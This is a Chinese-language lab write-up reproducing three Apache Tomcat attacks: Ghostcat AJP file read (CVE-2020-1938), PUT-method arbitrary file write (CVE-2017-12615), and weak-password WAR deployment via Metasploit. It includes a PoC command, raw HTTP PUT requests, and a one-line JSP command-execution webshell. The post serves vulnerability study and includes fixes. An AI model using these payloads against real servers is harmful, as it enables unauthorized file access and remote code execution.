[漏洞复现]Tomcat漏洞复现

Tomcat_Ajp漏洞

由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

影响版本:

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞编号:

CVE-2020-1938

CNVD-2020-10487

漏洞复现:

靶机:192.168.1.3

环境:tomcat 8.5.23

[漏洞复现]Tomcat漏洞复现_第1张图片

①端口探测:

靶机8009、8080端口开放。可以进行ajp漏洞探测

[漏洞复现]Tomcat漏洞复现_第2张图片

② 利用poc读取配置文件,复现漏洞:

poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.1.3
# 注意poc为py2环境

[漏洞复现]Tomcat漏洞复现_第3张图片

③修复建议

1.临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉

2.官方下载最新tomcat:https://tomcat.apache.org/

Tomcat PUT 方法任意写文件

利用环境: Windows+Tomcat 7.0.x+;配置文件readonly=false

影响版本:Apache Tomcat 7.0.0 - 7.0.79。实际Tomcat 5-9均存在类似的利用方式,但这不归属于CVE-2017-12615漏洞。配置文件内容如下:


readonly
false

漏洞编号:

CVE-2017-12615

利用方式1:

PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x

利用方式2:

PUT /1.jsp::$DATA HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x

利用方式3:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>


# 访问127.0.0.1:8080/122.jsp?cmd=calc,弹出计算器

这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。
[漏洞复现]Tomcat漏洞复现_第4张图片

Tomcat弱口令拿shell

Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
[漏洞复现]Tomcat漏洞复现_第5张图片

弱口令进入后台,上传tomcat.war包,访问上传的shell路径getshell。
[漏洞复现]Tomcat漏洞复现_第6张图片

MSF复现:

[漏洞复现]Tomcat漏洞复现_第7张图片

use exploit/multi/http/tomcat_mgr_upload
set rhost 192.168.1.10
set rport 8080
set httppassword tomcat
set httpusername tomcat
exploit
# 分别指定主机+端口+用户名&用户密码。利用成功可进行命令执行

在这里插入图片描述

[漏洞复现]Tomcat漏洞复现_第8张图片

你可能感兴趣的:(渗透测试)